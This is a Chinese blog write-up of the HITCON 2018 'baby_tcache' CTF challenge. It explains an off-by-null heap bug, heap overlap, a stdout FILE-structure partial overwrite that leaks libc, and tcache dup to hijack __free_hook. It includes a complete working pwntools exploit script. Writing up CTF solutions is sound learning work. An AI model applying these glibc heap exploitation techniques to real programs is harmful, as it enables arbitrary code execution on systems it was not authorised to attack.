登录后台

页面导航

本文编写于 337 天前,最后修改于 126 天前,其中某些信息可能已经过时。

HITCON2018 baby_tcache

程序分析

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开了

🍊      Baby Tcache      🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$   1. New heap           $
$   2. Delete heap        $ 
$   3. Exit               $ 
$$$$$$$$$$$$$$$$$$$$$$$$$$$

只有add和delete功能

add函数:最多10个chunk,size可控,但不能大于0x2000,

在读取data的时候有个__read_chk进行读取,这个函数跟read不一样的地方在于其参数有一个buf,用来标识缓存区大小,避免溢出。
官方解释文档
而且这里存在空字节溢出

int add()
{
  _QWORD *v0; // rax
  signed int i; // [rsp+Ch] [rbp-14h]
  _BYTE *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      LODWORD(v0) = puts(":(");
      return (signed int)v0;
    }
    if ( !addr_list[i] )
      break;
  }
  printf("Size:");
  size = get_num();
  if ( size > 0x2000 )
    exit(-2);
  v3 = malloc(size);
  if ( !v3 )
    exit(-1);
  printf("Data:");
  sub_B88((__int64)v3, size);
  v3[size] = 0;
  addr_list[i] = v3;
  v0 = size_list;
  size_list[i] = size;
  return (signed int)v0;
}

delete函数没毛病,没有漏洞

漏洞利用

存在空字节溢出,可以利用堆块合并,但是没有show函数无法泄露libc地址~
但是可以利用堆重叠,将将堆块分配到 IO_2_1_stdout 文件流结构体内存

_IO_2_1_stdout_文件流地址和&main_arena+88的地址后1.5个字节是不会变的,因为系统分配内存是按页分配的,一页的大小为0x1000,他们本身的偏移不会改变,所以后1.5字节是不会变的,但是我们覆盖内存的最小单位是2字节,所以有0.5字节是猜的,需要多次尝试,当两个地址吻合时,就会将chunk分配到 _IO_2_1_stdout_文件流内存中,进而覆盖其中的数据。

这道题libc是2.27,可以分配任意大小的堆块,tcache的范围是 (0x20, 0x400),超过这个大小的就会放入unsorted bin,利用off by null来free chunk的时候向前合并,然后uaf泄漏libc地址,再利用tcache dup(类似double free)来对free_hook改写成one_gadget

# coding=utf-8

from pwn import *
import time

elf = ELF('./baby_tcache')

libc = elf.libc

io = process('./baby_tcache')

#context.log_level = 'debug'

def choice(idx):

    io.sendlineafter("Your choice: ", str(idx))



def add(size, content='a'):

    choice(1)

    io.sendlineafter("Size:", str(size))

    io.sendafter('Data:', content)



def delete(idx):

    choice(2)

    io.sendlineafter("Index:", str(idx))

    

def exit():

    choice(3)

add(0x500-0x8)#0

add(0x30)#1
add(0x40)#2

add(0x50)#3
add(0x60)#4

add(0x500-0x8)#5

add(0x10)#6

delete(4)
add(0x68,'a'*0x60+'\x60\x06')
delete(2)
delete(0)
delete(5)
add(0x530)#0
delete(4)
add(0xa0,'\x60\x07')#2#3
add(0x40)#2
add(0x3e,p64(0xfbad1800)+p64(0)*3+'\x00')

io.recv(8)
leak_libc = u64(io.recv(8))
io.success("leak_libc: "+hex(leak_libc))
libc_base = leak_libc - 0x3ed8b0
io.success("libc_base: "+hex(libc_base))

sleep(1)
add(0xa0, p64(libc_base + libc.symbols['__free_hook']))

add(0x60, "A")
gdb.attach(io)

one_gadget = 0x4f322
add(0x60, p64(libc_base + one_gadget))
delete(0)

io.interactive()

具体过程和解析看的下面两位师傅的,一步步调试,花了一天时间,收获很多,这里主要是关于堆块的合并,重叠,IO流劫持的相关知识,真的非常nice的一道题,建议一步步调试,去搞懂每一行代码的原理

遗憾:add一个3e大小,还是没找到原因;

总结:鬼斧神工!内存的巧妙利用令人惊叹!

pwn堆入门系列教程8

Po1lux's Diary